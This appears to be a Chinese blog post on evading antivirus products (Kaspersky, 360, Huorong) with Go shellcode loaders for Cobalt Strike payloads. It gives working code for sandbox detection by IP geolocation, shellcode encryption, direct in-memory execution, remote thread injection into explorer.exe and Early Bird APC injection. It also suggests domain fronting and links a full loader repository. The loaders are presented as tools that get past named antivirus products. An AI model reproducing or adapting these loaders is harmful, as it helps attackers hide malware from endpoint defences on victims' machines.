针对杀软确定方向
引用别人的的总结
1 2
| 启发式:分为动静态技术,静态指的就是一些字符串匹配之类的功能,动态是虚拟机查杀 主动防御:对于系统中的操作实时监控,例如卡巴强大的内存扫描功能
|
如上测试的过程中,根据卡巴爆毒PDM(主动防御),则确认木马是落地后敏感操作被杀,可以针对木马上线后操作特征做免杀(api调用,cs原有的特征,流量等)
HEUR则是无法通过虚拟机检测或者静态扫描(静态资源,关键字等)
个人测试下来的感受是除了卡巴都不算难绕过,360的杀毒功能相对强一点,火绒只需要随意做一下免杀
反沙箱
通过检测虚拟机环境来绕过虚拟机检测,但是很多检测环境的操作被标记为敏感(例如检测系统中的内存会被微步标记敏感)
常用操作有检测内存大小、cpu数目、有无常见软件(微信等)、用户名、临时文件数目、时间加速
如以下代码,但是其实大多杀软静态启发扫描较容易绕过,加上这些操作反而会可能导致敏感
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| func checkIP() (bool, error) { url := "https://myip.ipip.net/"
resp, err := http.Get(url) if err != nil { return false, nil } defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body) if err != nil { return false, nil }
content := string(body)
if strings.Contains(content, "中国") { return false, nil } else { return true, nil } }
|
静态免杀
静态会讨论到有关编码,加壳,修改文件资源(影响熵)等概念,这里由于我自己用的是分离加载,重点使用的是编码
对于壳,已经被360等杀软加入特征,不是比较新的加壳方法不太建议使用了
签名窃取
加密
常用加密方式:base64,aes,rc4等
静态shellcode加密项目
GitHub - EgeBalci/sgn: Shikata ga nai (仕方がない) encoder ported into go with several improvements
对于分离出来的shellcode,使用aes或者sgn都能起到足够的免杀效果
garble是go编译的加密工具,但是被大量加入特征,感觉不好用了
动态免杀
cs生成shellcode,我这里直接用raw
分离加载实际上就是通过加载器去运行shellcode,那么shellcode可以单独的静态加密、也可以通过放在公网上分段下载这些方式去绕过对shellcode本身特征的检测
这里主要介绍一下一些加载shellcode的方式
这里有三个作用
- 文件不落地(通过ntdll的分配内存,拷贝内存等操作

在学习分离加载的过程中会接触到很多的winapi函数
基础的demo
申请内存区域
拷贝shellcode到内存中
直接执行shellcode

go实现
自定义一些windows api函数
使用了golang.org/x/sys/windows 和 syscall unsafe os库
获取dll 定义常量
demo
以下代码都删除了不重要的部分
可以过360核晶,火绒等
1 2 3 4 5 6 7 8 9 10
| func original_loader(shellcode []byte) { addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) _, _, _ = syscall.SyscallN(addr, 0, 0, 0, 0) }
|
线程注入
获取进程–分配内存–写入shellcode–线程执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| func DirectShellcodeInject(fp string) error { encodeDataByte, err := os.ReadFile(fp) if err != nil { fmt.Printf("读取文件时出错: %v\n", err) } shellcode := Decode(encodeDataByte) hProcess, err := getProcessHandleByName("explorer.exe") defer windows.CloseHandle(hProcess) lpBaseAddress, err := allocateMemoryInProcess(hProcess, shellcode) err = writeShellcodeToProcessMemory(hProcess, lpBaseAddress, shellcode) err = createRemoteThreadToExecute(hProcess, lpBaseAddress)
}
|
APC
后面代码中的earybirl注入和apc注入都是利用了APC机制
apc注入的前面和线程注入是相同的,只是后面不是新建线程而是通过apc来执行shellcode
earybirl注入:创建一个rw内存空间,写入shellcode后换成rx,通过apc执行shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| func EarlybirlInject(shellcode []byte) error { addr, _ := allocateAndProtectMemory(shellcode) setupAPC(addr) return nil }
func allocateAndProtectMemory(shellcode []byte) (uintptr, error) { kernel32 := windows.NewLazySystemDLL("kernel32.dll") ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc") VirtualProtect := kernel32.NewProc("VirtualProtect") RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := PAGE_READWRITE _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
return addr, nil }
func setupAPC(addr uintptr) error { const ( QUEUE_USER_APC_FLAGS_NONE = iota QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC QUEUE_USER_APC_FLGAS_MAX_VALUE )
ntdll := windows.NewLazySystemDLL("ntdll.dll") kernel32 := windows.NewLazySystemDLL("kernel32.dll") GetCurrentThread := kernel32.NewProc("GetCurrentThread") NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx")
thread, _, err := GetCurrentThread.Call()
_, _, err = NtQueueApcThreadEx.Call(thread, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr(addr), 0, 0, 0) return err }
|
对于加载方式,还可以通过调用无意义的windows api来做混淆,以及寻找更罕见的api去执行命令等方式做免杀
其他
对卡巴内存扫描(ekko等技术)做了尝试,最后可能还是需要通过二开c2等方式绕过,常规的免杀方法基本只能上线一段时间了,cs的stageless免杀效果更好,
流量上需要可以通过改cs profile也能一定程度规避杀软,还能用云函数,域前置这些技术
demo源码
https://github.com/z2zQAQ/go-z2zloader
学习文章
攻防实战|钓鱼手法及木马免杀技巧-腾讯云开发者社区-腾讯云
免杀基础学习记录 - F12~ - 博客园